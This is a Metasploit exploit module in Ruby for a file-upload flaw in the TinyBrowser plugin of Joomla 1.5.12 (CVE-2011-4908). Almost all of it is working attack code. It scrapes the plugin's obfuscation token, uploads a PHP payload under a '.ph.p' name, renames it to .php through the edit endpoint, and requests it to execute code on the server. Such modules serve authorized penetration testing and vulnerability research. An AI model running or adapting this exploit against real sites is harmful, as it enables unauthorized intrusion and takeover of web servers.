Joomla 1.5.12 TinyBrowser File Upload Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
        This plugin is not secured in version 1.5.12 of joomla and allows the upload
        of files on the remote server.
        By renaming the uploaded file this vulnerability can be used to upload/execute
        code on the affected system.
      },
      'Author'         => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4908'],
          ['OSVDB', '64578'],
          ['EDB', '9296'],
          ['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          'Space'       => 1024,
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2009-07-22',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "Joomla directory path", "/"]),
        ])
  end

  def check
    uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php')
    uri << '?type=file&folder='
    res = send_request_raw(
      {
        'uri' => uri
      }, 25)

    if (res and res.body =~ /flexupload.swf/)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end


  def retrieve_obfuscation()

  end


  def exploit

    cmd_php = '<?php ' + payload.encoded + '?>'

    # Generate some random strings
    cmdscript	= rand_text_alpha_lower(20)
    boundary    = rand_text_alphanumeric(6)

    # Static files
    directory 	= '/images/stories/'
    uri_base    = normalize_uri(datastore['URI'])
    uri_base << '/' if uri_base[-1,1] != '/'
    uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'

    # Get obfuscation code (needed to upload files)
    obfuscation_code = nil

    res = send_request_raw({
      'uri'     => uri_base + '/upload.php?type=file&folder='
    }, 25)

    if (res)

      if(res.body =~ /"obfus", "((\w)+)"\)/)
        obfuscation_code = $1
        print_good("Successfully retrieved obfuscation code: #{obfuscation_code}")
      else
        print_error("Error retrieving obfuscation code!")
        return
      end
    end



    # Upload shellcode (file ending .ph.p)
    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
    data << "#{cmdscript}.ph.p\r\n--#{boundary}"
    data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << cmd_php
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'	  => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
      {
        'Content-Length' => data.length,
        'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
      }
    }, 25)

    if (res and res.body =~ /File Upload Success/)
      print_good("Successfully Uploaded #{cmdscript}.ph.p")
    else
      print_error("Error uploading #{cmdscript}.ph.p")
    end


    # Complete the upload process (rename file)
    print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
    res = send_request_raw({
      'uri'     => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
    })


    # Rename the file from .ph.p to .php
    res = send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => uri_base + '/edit.php?type=file&folder=',
        'vars_post' =>
        {
          'actionfile[0]' => "#{cmdscript}.ph.p",
          'renameext[0]'   => 'p',
          'renamefile[0]' => "#{cmdscript}.ph",
          'sortby' => 'name',
          'sorttype' => 'asc',
          'showpage' => '0',
          'action' => 'rename',
          'commit' => '',
        }
      }, 10)

    if (res and res.body =~ /successfully renamed./)
      print_status("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
    else
      print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
    end


    # Finally call the payload
    print_status("Calling payload: #{cmdscript}.php")
    uri = normalize_uri(datastore['URI'])
    uri << '/' if uri[-1,1] != '/'
    uri << directory + cmdscript + ".php"
    res = send_request_raw({
      'uri'	=> uri
    }, 25)

  end
end